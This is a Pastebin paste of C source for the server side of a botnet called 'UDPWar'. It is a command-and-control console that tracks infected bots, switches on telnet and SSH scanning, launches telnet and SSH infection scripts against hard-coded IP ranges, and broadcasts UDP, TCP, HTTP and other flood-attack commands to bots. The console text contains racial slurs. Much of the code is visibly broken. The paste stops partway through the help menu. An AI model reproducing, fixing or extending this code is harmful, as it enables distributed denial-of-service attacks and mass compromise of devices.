AvengeVPS

UDPWar Botnet Serverside

Mar 7th, 2018
298
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 33.26 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <stdint.h>
  4. #include <inttypes.h>
  5. #include <string.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netdb.h>
  9. #include <unistd.h>
  10. #include <time.h>
  11. #include <fcntl.h>
  12. #include <sys/epoll.h>
  13. #include <errno.h>
  14. #include <pthread.h>
  15. #include <signal.h>
  16. #include <arpa/inet.h>
  17. #define MAXFDS 1000000
  18. //////////////////////////////////
  19. struct login_info {
  20. char username[20];
  21. char password[20];
  22. };
  23. static struct login_info accounts[10];
  24. struct clientdata_t {
  25. uint32_t ip;
  26. char connected;
  27. } clients[MAXFDS];
  28. struct telnetdata_t {
  29. int connected;
  30. } managements[MAXFDS];
  31. struct args {
  32. int sock;
  33. struct sockaddr_in cli_addr;
  34. };
  35. static volatile FILE *telFD;
  36. static volatile FILE *fileFD;
  37. static volatile int epollFD = 0;
  38. static volatile int listenFD = 0;
  39. static volatile int OperatorsConnected = 0;
  40. static volatile int TELFound = 0;
  41. static volatile int scannerreport;
  42. //////////////////////////////////
  43. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  44. int total = 0, got = 1;
  45. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  46. return got;
  47. }
  48. void trim(char *str) {
  49. int i;
  50. int begin = 0;
  51. int end = strlen(str) - 1;
  52. while (isspace(str[begin])) begin++;
  53. while ((end >= begin) && isspace(str[end])) end--;
  54. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  55. str[i - begin] = '\0';
  56. }
  57. static int make_socket_non_blocking (int sfd) {
  58. int flags, s;
  59. flags = fcntl (sfd, F_GETFL, 0);
  60. if (flags == -1) {
  61. perror ("fcntl");
  62. return -1;
  63. }
  64. flags |= O_NONBLOCK;
  65. s = fcntl (sfd, F_SETFL, flags);
  66. if (s == -1) {
  67. perror ("fcntl");
  68. return -1;
  69. }
  70. return 0;
  71. }
  72. static int create_and_bind (char *port) {
  73. struct addrinfo hints;
  74. struct addrinfo *result, *rp;
  75. int s, sfd;
  76. memset (&hints, 0, sizeof (struct addrinfo));
  77. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  78. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  79. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  80. s = getaddrinfo (NULL, port, &hints, &result);
  81. if (s != 0) {
  82. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  83. return -1;
  84. }
  85. for (rp = result; rp != NULL; rp = rp->ai_next) {
  86. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  87. if (sfd == -1) continue;
  88. int yes = 1;
  89. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  90. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  91. if (s == 0) {
  92. break;
  93. }
  94. close (sfd);
  95. }
  96. if (rp == NULL) {
  97. fprintf (stderr, "Could not bind\n");
  98. return -1;
  99. }
  100. freeaddrinfo (result);
  101. return sfd;
  102. }
  103. void broadcast(char *msg, int us, char *sender)
  104. {
  105. int sendMGM = 1;
  106. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  107. char *wot = malloc(strlen(msg) + 10);
  108. memset(wot, 0, strlen(msg) + 10);
  109. strcpy(wot, msg);
  110. trim(wot);
  111. time_t rawtime;
  112. struct tm * timeinfo;
  113. time(&rawtime);
  114. timeinfo = localtime(&rawtime);
  115. char *timestamp = asctime(timeinfo);
  116. trim(timestamp);
  117. int i;
  118. for(i = 0; i < MAXFDS; i++)
  119. {
  120. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  121. if(sendMGM && managements[i].connected)
  122. {
  123. send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  124. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  125. send(i, ": ", 2, MSG_NOSIGNAL);
  126. }
  127. printf("sent to fd: %d\n", i);
  128. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  129. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL);
  130. else send(i, "\n", 1, MSG_NOSIGNAL);
  131. }
  132. free(wot);
  133. }
  134. void *BotEventLoop(void *useless) {
  135. struct epoll_event event;
  136. struct epoll_event *events;
  137. int s;
  138. events = calloc (MAXFDS, sizeof event);
  139. while (1) {
  140. int n, i;
  141. n = epoll_wait (epollFD, events, MAXFDS, -1);
  142. for (i = 0; i < n; i++) {
  143. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  144. clients[events[i].data.fd].connected = 0;
  145. close(events[i].data.fd);
  146. continue;
  147. }
  148. else if (listenFD == events[i].data.fd) {
  149. while (1) {
  150. struct sockaddr in_addr;
  151. socklen_t in_len;
  152. int infd, ipIndex;
  153.  
  154. in_len = sizeof in_addr;
  155. infd = accept (listenFD, &in_addr, &in_len);
  156. if (infd == -1) {
  157. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  158. else {
  159. perror ("accept");
  160. break;
  161. }
  162. }
  163.  
  164. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  165. int dup = 0;
  166. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  167. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  168. if(clients[ipIndex].ip == clients[infd].ip) {
  169. dup = 1;
  170. break;
  171. }}
  172. if(dup) {
  173. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  174. close(infd);
  175. continue;
  176. }
  177. s = make_socket_non_blocking (infd);
  178. if (s == -1) { close(infd); break; }
  179. event.data.fd = infd;
  180. event.events = EPOLLIN | EPOLLET;
  181. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  182. if (s == -1) {
  183. perror ("epoll_ctl");
  184. close(infd);
  185. break;
  186. }
  187. clients[infd].connected = 1;
  188. send(infd, "!* TELNET_SCAN ON\n", 18, MSG_NOSIGNAL);
  189. send(infd, "!* SSH_SCAN ON\n", 15, MSG_NOSIGNAL);
  190. }
  191. continue;
  192. }
  193. else {
  194. int datafd = events[i].data.fd;
  195. struct clientdata_t *client = &(clients[datafd]);
  196. int done = 0;
  197. client->connected = 1;
  198. while (1) {
  199. ssize_t count;
  200. char buf[2048];
  201. memset(buf, 0, sizeof buf);
  202. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  203. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  204. trim(buf);
  205. if(strcmp(buf, "PING") == 0) {
  206. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  207. continue;
  208. }
  209. if(strstr(buf, "REPORT ") == buf) {
  210. char *line = strstr(buf, "REPORT ") + 7;
  211. fprintf(telFD, "%s\n", line);
  212. fflush(telFD);
  213. TELFound++;
  214. continue;
  215. }
  216. if(strstr(buf, "PROBING") == buf) {
  217. char *line = strstr(buf, "PROBING");
  218. scannerreport = 1;
  219. continue;
  220. }
  221. if(strstr(buf, "REMOVING PROBE") == buf) {
  222. char *line = strstr(buf, "REMOVING PROBE");
  223. scannerreport = 0;
  224. continue;
  225. }
  226. if(strcmp(buf, "PONG") == 0) {
  227. continue;
  228. }
  229. printf("buf: \"%s\"\n", buf);
  230. }
  231. if (count == -1) {
  232. if (errno != EAGAIN) {
  233. done = 1;
  234. }
  235. break;
  236. }
  237. else if (count == 0) {
  238. done = 1;
  239. break;
  240. }
  241. if (done) {
  242. client->connected = 0;
  243. close(datafd);
  244. }}}}}}
  245. unsigned int BotsConnected() {
  246. int i = 0, total = 0;
  247. for(i = 0; i < MAXFDS; i++) {
  248. if(!clients[i].connected) continue;
  249. total++;
  250. }
  251. return total;
  252. }
  253. void *TitleWriter(void *sock) {
  254. int datafd = (int)sock;
  255. char string[2048];
  256. while(1) {
  257. memset(string, 0, 2048);
  258. sprintf(string, "%c]0;BOT COUNT: %d| NIGGAS: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  259. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  260. sleep(2);
  261. }}
  262. int Find_Login(char *str) {
  263. FILE *fp;
  264. int line_num = 0;
  265. int find_result = 0, find_line=0;
  266. char temp[512];
  267.  
  268. if((fp = fopen("login.txt", "r")) == NULL){
  269. return(-1);
  270. }
  271. while(fgets(temp, 512, fp) != NULL){
  272. if((strstr(temp, str)) != NULL){
  273. find_result++;
  274. find_line = line_num;
  275. }
  276. line_num++;
  277. }
  278. if(fp)
  279. fclose(fp);
  280. if(find_result == 0)return 0;
  281. return find_line;
  282. }
  283. void *BotWorker(void *sock) {
  284. int datafd = (int)sock;
  285. int find_line;
  286. OperatorsConnected++;
  287. pthread_t title;
  288. char buf[2048];
  289. char* username;
  290. char* password;
  291. memset(buf, 0, sizeof buf);
  292. char botnet[2048];
  293. memset(botnet, 0, 2048);
  294. char botcount [2048];
  295. memset(botcount, 0, 2048);
  296. char statuscount [2048];
  297. memset(statuscount, 0, 2048);
  298.  
  299. FILE *fp;
  300. int i=0;
  301. int c;
  302. fp=fopen("login.txt", "r");
  303. while(!feof(fp)) {
  304. c=fgetc(fp);
  305. ++i;
  306. }
  307. int j=0;
  308. rewind(fp);
  309. while(j!=i-1) {
  310. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  311. ++j;
  312. }
  313.  
  314. if(send(datafd, "\x1b[30mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  315. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  316. trim(buf);
  317. char* nickstring;
  318. sprintf(accounts[find_line].username, buf);
  319. nickstring = ("%s", buf);
  320. find_line = Find_Login(nickstring);
  321. if(strcmp(nickstring, accounts[find_line].username) == 0){
  322. if(send(datafd, "\x1b[30mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  323. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  324. trim(buf);
  325. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  326. memset(buf, 0, 2048);
  327. goto Banner;
  328. }
  329. failed:
  330. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  331. char failed_line1[80];
  332. char ascii_failed_line1 [80];
  333. char ascii_failed_line2 [80];
  334. char ascii_failed_line3 [80];
  335. char ascii_failed_line4 [80];
  336. char ascii_failed_line5 [80];
  337. char ascii_failed_line6 [80];
  338. char ascii_failed_line7 [80];
  339. char ascii_failed_line8 [80];
  340. char ascii_failed_line9 [80];
  341. char ascii_failed_line10 [80];
  342. char ascii_failed_line11 [80];
  343. char ascii_failed_line12 [80];
  344. char ascii_failed_line13 [80];
  345. char ascii_failed_line14 [80];
  346. char ascii_failed_line15 [80];
  347. char ascii_failed_line16 [80];
  348. char ascii_failed_line17 [80];
  349.  
  350. sprintf(ascii_failed_line1, "\x1b[31m / \ \r\n");
  351. sprintf(ascii_failed_line2, "\x1b[31m |\_/| \r\n");
  352. sprintf(ascii_failed_line3, "\x1b[31m |---| \r\n");
  353. sprintf(ascii_failed_line4, "\x1b[31m | | \r\n");
  354. sprintf(ascii_failed_line5, "\x1b[31m | | \r\n");
  355. sprintf(ascii_failed_line6, "\x1b[31m _ |=-=| _ \r\n");
  356. sprintf(ascii_failed_line7, "\x1b[31m _ / \| |/ \ _ \r\n");
  357. sprintf(ascii_failed_line8, "\x1b[31m / \| | | | \ \r\n");
  358. sprintf(ascii_failed_line9, "\x1b[31m| | | | | \ \r\n");
  359. sprintf(ascii_failed_line10, "\x1b[31m| | | | | | \r\n");
  360. sprintf(ascii_failed_line11, "\x1b[31m| - - - - |) ) \r\n");
  361. sprintf(ascii_failed_line12, "\x1b[31m| / \r\n");
  362. sprintf(ascii_failed_line13, "\x1b[31m \ / \r\n");
  363. sprintf(ascii_failed_line14, "\x1b[31m \ / \r\n");
  364. sprintf(ascii_failed_line15, "\x1b[31m \ / \r\n");
  365. sprintf(ascii_failed_line16, "\x1b[31m \ / \r\n");
  366. sprintf(ascii_failed_line17, "\x1b[31m | | \r\n");
  367.  
  368. sprintf(failed_line1, "\r\n\x1b[31mWRONG ANSWER BITCH!!\r\n");
  369.  
  370. if(send(datafd, ascii_failed_line1, strlen(ascii_failed_line1), MSG_NOSIGNAL) == -1) goto end;
  371. if(send(datafd, ascii_failed_line2, strlen(ascii_failed_line2), MSG_NOSIGNAL) == -1) goto end;
  372. if(send(datafd, ascii_failed_line3, strlen(ascii_failed_line3), MSG_NOSIGNAL) == -1) goto end;
  373. if(send(datafd, ascii_failed_line4, strlen(ascii_failed_line4), MSG_NOSIGNAL) == -1) goto end;
  374. if(send(datafd, ascii_failed_line5, strlen(ascii_failed_line5), MSG_NOSIGNAL) == -1) goto end;
  375. if(send(datafd, ascii_failed_line6, strlen(ascii_failed_line6), MSG_NOSIGNAL) == -1) goto end;
  376. if(send(datafd, ascii_failed_line7, strlen(ascii_failed_line7), MSG_NOSIGNAL) == -1) goto end;
  377. if(send(datafd, ascii_failed_line8, strlen(ascii_failed_line8), MSG_NOSIGNAL) == -1) goto end;
  378. if(send(datafd, ascii_failed_line9, strlen(ascii_failed_line9), MSG_NOSIGNAL) == -1) goto end;
  379. if(send(datafd, ascii_failed_line10, strlen(ascii_failed_line10), MSG_NOSIGNAL) == -1) goto end;
  380. if(send(datafd, ascii_failed_line11, strlen(ascii_failed_line11), MSG_NOSIGNAL) == -1) goto end;
  381. if(send(datafd, ascii_failed_line12, strlen(ascii_failed_line12), MSG_NOSIGNAL) == -1) goto end;
  382. if(send(datafd, ascii_failed_line13, strlen(ascii_failed_line13), MSG_NOSIGNAL) == -1) goto end;
  383. if(send(datafd, ascii_failed_line14, strlen(ascii_failed_line14), MSG_NOSIGNAL) == -1) goto end;
  384. if(send(datafd, ascii_failed_line15, strlen(ascii_failed_line15), MSG_NOSIGNAL) == -1) goto end;
  385. if(send(datafd, ascii_failed_line16, strlen(ascii_failed_line16), MSG_NOSIGNAL) == -1) goto end;
  386. if(send(datafd, ascii_failed_line17, strlen(ascii_failed_line17), MSG_NOSIGNAL) == -1) goto end;
  387.  
  388. if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  389. sleep(5);
  390. goto end;
  391.  
  392. Banner:
  393. pthread_create(&title, NULL, &TitleWriter, sock);
  394. char ascii_banner_line1 [5000];
  395. char ascii_banner_line2 [5000];
  396. char ascii_banner_line3 [5000];
  397. char ascii_banner_line4 [5000];
  398. char ascii_banner_line5 [5000];
  399. char ascii_banner_line6 [5000];
  400. char ascii_banner_line7 [5000];
  401. char ascii_banner_line8 [5000];
  402. char ascii_banner_line9 [5000];
  403. char ascii_banner_line10 [5000];
  404. char ascii_banner_line11 [5000];
  405. char ascii_banner_line12 [5000];
  406. char ascii_banner_line13 [5000];
  407. char ascii_banner_line14 [5000];
  408. char welcome_line [80];
  409. char banner_text_line1 [80];
  410. char banner_text_line2 [80];
  411. char banner_bot_count [2048];
  412. memset(banner_bot_count, 0, 2048);
  413.  
  414. sprintf(ascii_banner_line1, "\x1b[34m 888 888 8888888b. 8888888b. I \r\n");
  415. sprintf(ascii_banner_line2, "\x1b[34m 888 888 888 "Y88b 888 Y88b II \r\n");
  416. sprintf(ascii_banner_line3, "\x1b[34m 888 888 888 888 888 888 III \r\n");
  417. sprintf(ascii_banner_line4, "\x1b[34m 888 888 888 888 888 d88P 888 888 888 8888b. 888d888 III \r\n");
  418. sprintf(ascii_banner_line5, "\x1b[34m 888 888 888 888 8888888P" 888 888 888 "88b 888P" III \r\n");
  419. sprintf(ascii_banner_line6, "\x1b[34m 888 888 888 888 888 888 888 888 .d888888 888 III \r\n");
  420. sprintf(ascii_banner_line7, "\x1b[34m Y88b. .d88P 888 .d88P 888 Y88b 888 d88P 888 888 888 III \r\n");
  421. sprintf(ascii_banner_line8, "\x1b[34m "Y88888P" 8888888P" 888 "Y8888888P" "Y888888 888 III \r\n");
  422.  
  423. //Created By ~B1NARY~ | Skype: b1narythag0d | XMPP: [email protected]
  424. sprintf(welcome_line, "\r\n\x1b[34m[-] BOT COUNT: %d [+] Welcome, %s [+] Niggas %d [-]\r\n", BotsConnected(), accounts[find_line].username, OperatorsConnected);
  425.  
  426. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  427. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  428. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  429. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  430. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  431. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  432. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  433. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  434. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  435. while(1) {
  436. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  437. if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  438. break;
  439. }
  440. pthread_create(&title, NULL, &TitleWriter, sock);
  441. managements[datafd].connected = 1;
  442.  
  443. while(fdgets(buf, sizeof buf, datafd) > 0)
  444. {
  445.  
  446. if(strstr(buf, "ATTACK"))
  447. {
  448. int choice;
  449.  
  450. char ATTACK_MENU [2048];
  451.  
  452. char UDP_ATTACK [2048];
  453. char UDP_ATTACK_MESSAGE [2048];
  454. char UDP_ATTACK_IP;
  455. char UDP_ATTACK_PORT;
  456. char UDP_ATTACK_SEC;
  457. char UDP_ATTACK_SEND_COMMAND;
  458.  
  459. char TCP_ATTACK [2048];
  460. char TCP_ATTACK_MESSAGE [2048];
  461. char TCP_ATTACK_IP;
  462. char TCP_ATTACK_PORT;
  463. char TCP_ATTACK_SEC;
  464. char TCP_ATTACK_SEND_COMMAND;
  465.  
  466. char STD_ATTACK [2048];
  467. char STD_ATTACK_MESSAGE [2048];
  468. char STD_ATTACK_IP;
  469. char STD_ATTACK_PORT;
  470. char STD_ATTACK_SEC;
  471. char STD_ATTACK_SEND_COMMAND;
  472.  
  473. sprintf(ATTACK_MENU, "[+] ATTACK OPTIONS [+]");
  474. if(send(datafd, ATTACK_MENU, strlen(ATTACK_MENU), MSG_NOSIGNAL) == -1) goto end;
  475. do
  476. {
  477. sprintf(UDP_ATTACK, "[-] 1. UDP ATTACK\r\n");
  478. sprintf(TCP_ATTACK, "[-] 2. TCP ATTACK\r\n");
  479. sprintf(STD_ATTACK, "[-] 3. STD Attack\r\n");
  480.  
  481. if(send(datafd, UDP_ATTACK, strlen(UDP_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  482. if(send(datafd, TCP_ATTACK, strlen(TCP_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  483. if(send(datafd, STD_ATTACK, strlen(STD_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  484. scanf("%d", &choice);
  485.  
  486. switch(choice)
  487. {
  488. case 1:
  489.  
  490. sprintf(UDP_ATTACK_IP, "IP: ");
  491. if(send(datafd, UDP_ATTACK_IP, strlen(UDP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  492. scanf("%d", &UDP_ATTACK_IP);
  493.  
  494. sprintf(UDP_ATTACK_PORT, "Port: ");
  495. if(send(datafd, UDP_ATTACK_IP, strlen(UDP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  496. scanf("%d", &UDP_ATTACK_PORT);
  497.  
  498. sprintf("Sec: ", &UDP_ATTACK_SEC);
  499. if(send(datafd, UDP_ATTACK_SEC, strlen(UDP_ATTACK_SEC), MSG_NOSIGNAL) == -1) goto end;
  500. scanf("%d", &UDP_ATTACK_SEC);
  501.  
  502. sprintf(UDP_ATTACK_SEND_COMMAND, "!* UDP %d %d %d 32 0 10", UDP_ATTACK_IP, UDP_ATTACK_PORT, UDP_ATTACK_SEC);
  503. broadcast(UDP_ATTACK_SEND_COMMAND, datafd, "SENT");
  504. if(send(datafd, UDP_ATTACK_SEND_COMMAND, strlen(UDP_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  505.  
  506. sprintf(UDP_ATTACK_MESSAGE, "UDP Attack Sent!");
  507. if(send(datafd, UDP_ATTACK_MESSAGE, strlen(UDP_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  508.  
  509. continue;
  510. case 2:
  511.  
  512. sprintf(TCP_ATTACK_IP, "IP: ");
  513. if(send(datafd, TCP_ATTACK_IP, strlen(TCP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  514. scanf("%d", &TCP_ATTACK_IP);
  515.  
  516. sprintf(TCP_ATTACK_PORT, "Port: ");
  517. if(send(datafd, TCP_ATTACK_PORT, strlen(TCP_ATTACK_PORT), MSG_NOSIGNAL) == -1) goto end;
  518. scanf("%d", &TCP_ATTACK_PORT);
  519.  
  520. sprintf(TCP_ATTACK_SEC, "Sec: ");
  521. if(send(datafd, TCP_ATTACK_SEC, strlen(TCP_ATTACK_SEC), MSG_NOSIGNAL) == -1) goto end;
  522. scanf("%d", &TCP_ATTACK_SEC);
  523.  
  524. sprintf(TCP_ATTACK_SEND_COMMAND, "!* TCP %d %d %d 32 all 0 10", TCP_ATTACK_IP, TCP_ATTACK_PORT, TCP_ATTACK_SEC);
  525. broadcast(TCP_ATTACK_SEND_COMMAND, datafd, "SENT");
  526. if(send(datafd, TCP_ATTACK_SEND_COMMAND, strlen(TCP_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  527.  
  528. sprintf(TCP_ATTACK_MESSAGE, "TCP Attack Sent!");
  529. if(send(datafd, TCP_ATTACK_MESSAGE, strlen(TCP_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  530.  
  531. continue;
  532.  
  533. case 3:
  534.  
  535. sprintf(STD_ATTACK_IP, "IP: ");
  536. if(send(datafd, STD_ATTACK_IP, strlen(STD_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  537. scanf("%d", &STD_ATTACK_IP);
  538.  
  539. sprintf(STD_ATTACK_PORT, "Port: ");
  540. if(send(datafd, STD_ATTACK_PORT, strlen(TCP_ATTACK_PORT), MSG_NOSIGNAL) == -1) goto end;
  541. scanf("%d", &STD_ATTACK_PORT);
  542.  
  543. sprintf(STD_ATTACK_SEND_COMMAND, "!* STD %d %d %d", STD_ATTACK_IP, STD_ATTACK_PORT, STD_ATTACK_SEC);
  544. broadcast(STD_ATTACK_SEND_COMMAND, datafd, "SENT");
  545. if(send(datafd, STD_ATTACK_SEND_COMMAND, strlen(STD_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  546.  
  547. sprintf(STD_ATTACK_MESSAGE, "STD Attack Sent!");
  548. if(send(datafd, STD_ATTACK_MESSAGE, strlen(STD_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  549.  
  550. continue;
  551.  
  552.  
  553. }}
  554. while(choice !=3);
  555. }
  556. if(strstr(buf, "BOTS"))
  557. {
  558. sprintf(botcount, "BOT COUNT: %d | NIGGAS: %d\r\n", BotsConnected(), OperatorsConnected);
  559. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  560. continue;
  561. }
  562. if(strstr(buf, "STATUS"))
  563. {
  564. sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  565. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  566. continue;
  567. }
  568. if(strstr(buf, "STATS"))
  569. {
  570. sprintf(botcount, "BOT COUNT: %d | NIGGAS: %d\r\n", BotsConnected(), OperatorsConnected);
  571. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  572. sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  573. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  574. continue;
  575. }
  576. if(strstr(buf, "INFECT"))
  577. {
  578. system("python telnet.py filtered.txt");
  579. continue;
  580. }
  581. if(strstr(buf, "REINFECT"))
  582. {
  583. system("python w.py filtered_ssh.txt");
  584. continue;
  585. }
  586. if(strstr(buf, "FILTER"))
  587. {
  588. system("sort telnet.txt | uniq -u>>filtered_telnet.txt;sort infected.txt | uniq -u>>filtered_ssh.txt");
  589. continue;
  590. }
  591. if(strstr(buf, "LOAD"))
  592. {
  593. system("python scan.py 376 LOAD 88 1");
  594. continue;
  595. }
  596. if(strstr(buf, "SCAN1"))
  597. {
  598. system("python scan.py 376 B 119.92 lol");
  599. continue;
  600. }
  601. if(strstr(buf, "SCAN2"))
  602. {
  603. system("python scan.py 376 B 119.93 lol");
  604. continue;
  605. }
  606. if(strstr(buf, "SCAN3")) {
  607. system("python scan.py 376 B 125.25 1");
  608. continue;
  609. }
  610. if(strstr(buf, "SCAN4"))
  611. {
  612. system("python scan.py 376 B 125.26 1");
  613. continue;
  614. }
  615. if(strstr(buf, "SCAN5")) {
  616. system("python scan.py 376 B 125.27 1");
  617. continue;
  618. }
  619. if(strstr(buf, "SCAN6")) {
  620. system("python scan.py 376 B 113.53 1");
  621. continue;
  622. }
  623. if(strstr(buf, "SCAN7"))
  624. {
  625. system("python scan.py 376 B 180.180 1");
  626. continue;
  627. }
  628. if(strstr(buf, "SCAN8"))
  629. {
  630. system("python scan.py 376 B 185.52 1");
  631. continue;
  632. }
  633. if(strstr(buf, "SCAN9"))
  634. {
  635. system("python scan.py 376 B 122.52 1");
  636. continue;
  637. }
  638. if(strstr(buf, "SCAN10"))
  639. {
  640. system("python scan.py 376 B 122.53 1");
  641. continue;
  642. }
  643. if(strstr(buf, "SCAN11"))
  644. {
  645. system("python scan.py 376 B 101.102");
  646. continue;
  647. }
  648. if(strstr(buf, "LUCKY"))
  649. {
  650. system("python scan.py 376 LUCKY 88 1");
  651. continue;
  652. }
  653. if(strstr(buf, "LUCKY2"))
  654. {
  655. system("python scan.py 376 LUCKY2 88 1");
  656. continue;
  657. }
  658. if(strstr(buf, "SCAN_OFF"))
  659. {
  660. system("killall -9 python");
  661. continue;
  662. }/*OTHER COMMANDS*/
  663. if(strstr(buf, "HELP"))
  664. {
  665. pthread_create(&title, NULL, &TitleWriter, sock);
  666. char helpline1 [80];
  667. char helpline2 [80];
  668. char helpline3 [80];
  669. char helpline4 [80];
  670. char helpline5 [80];
  671. char helpline6 [80];
  672. char helpline7 [80];
  673. char helpline8 [80];
  674. char helpline9 [80];
  675. char helpline10 [80];
  676. char helpline11 [80];
  677. char helpline12 [80];
  678. char helpline13 [80];
  679. char helpline14 [80];
  680. char helpline15 [80];
  681. char helpline16 [80];
  682. char helpline17 [80];
  683. char helpline18 [80];
  684. char helpline19 [80];
  685. char helpline20 [80];
  686. char helpline21 [80];
  687. char helpline22 [80];
  688. char helpline23 [80];
  689. char helpline24 [80];
  690. char helpline25 [80];
  691. char helpline26 [80];
  692.  
  693.  
  694.  
  695. sprintf(helpline1, "\r\n[+] ATTACK COMMANDS [+]\r\n");
  696. sprintf(helpline2, "[-] UDP - !* UDP IP Port Time 32 0 10\r\n");
  697. sprintf(helpline3, "[-] TCP - !* TCP IP Port Time 32 all 0 10\r\n");
  698. sprintf(helpline4, "[-] STD - !* STD IP Port Time\r\n");
  699. sprintf(helpline5, "[-] JUNK - !* JUNK IP Port Time\r\n");
  700. sprintf(helpline6, "[-] HOLD - !* HOLD IP Port Time\r\n");
  701. sprintf(helpline7, "[-] HTTP - !* HTTP Url Time\r\n");
  702. sprintf(helpline8, "[-] KILL - !* KILLATTK | KILL\r\n");
  703.  
  704. sprintf(helpline9, "[+] SCANNING COMMANDS [+]\r\n");
  705. sprintf(helpline10, "[-] LOAD - LOAD\r\n");
  706. sprintf(helpline11, "[-] SCAN - SCAN1 | SCAN2 | SCAN3 | SCAN4 | SCAN5\r\n");
  707. sprintf(helpline12, "[-] SCAN - SCAN6 | SCAN7 | SCAN8 | SCAN9 | SCAN10\r\n");
  708. sprintf(helpline13, "[-] LUCKY - LUCKY | LUCKY2\r\n");
  709. sprintf(helpline14, "[-] STOP - SCAN_OFF\r\n");
  710.  
  711. sprintf(helpline15, "[+] GENERAL COMMANDS [+]\r\n");
  712. sprintf(helpline16, "[-] SHELL - !* SH\r\n");
  713. sprintf(helpline17, "[-] BOTS - !* BOTS | BOTS\r\n");
  714. sprintf(helpline18, "[-] STATUS - !* STATUS | STATUS\r\n");
  715. sprintf(helpline19, "[-] STATS - STATS\r\n");
  716.  
  717. sprintf(helpline20, "[+] MISC COMMANDS [+]\r\n");
  718. sprintf(helpline21, "[-] ATTACK_GUI - ATTACK\r\n");
  719. sprintf(helpline22, "[-] INECTION FILTER - FILTER\r\n");
  720. sprintf(helpline23, "[-] TELNET INFECT - INFECT\r\n");
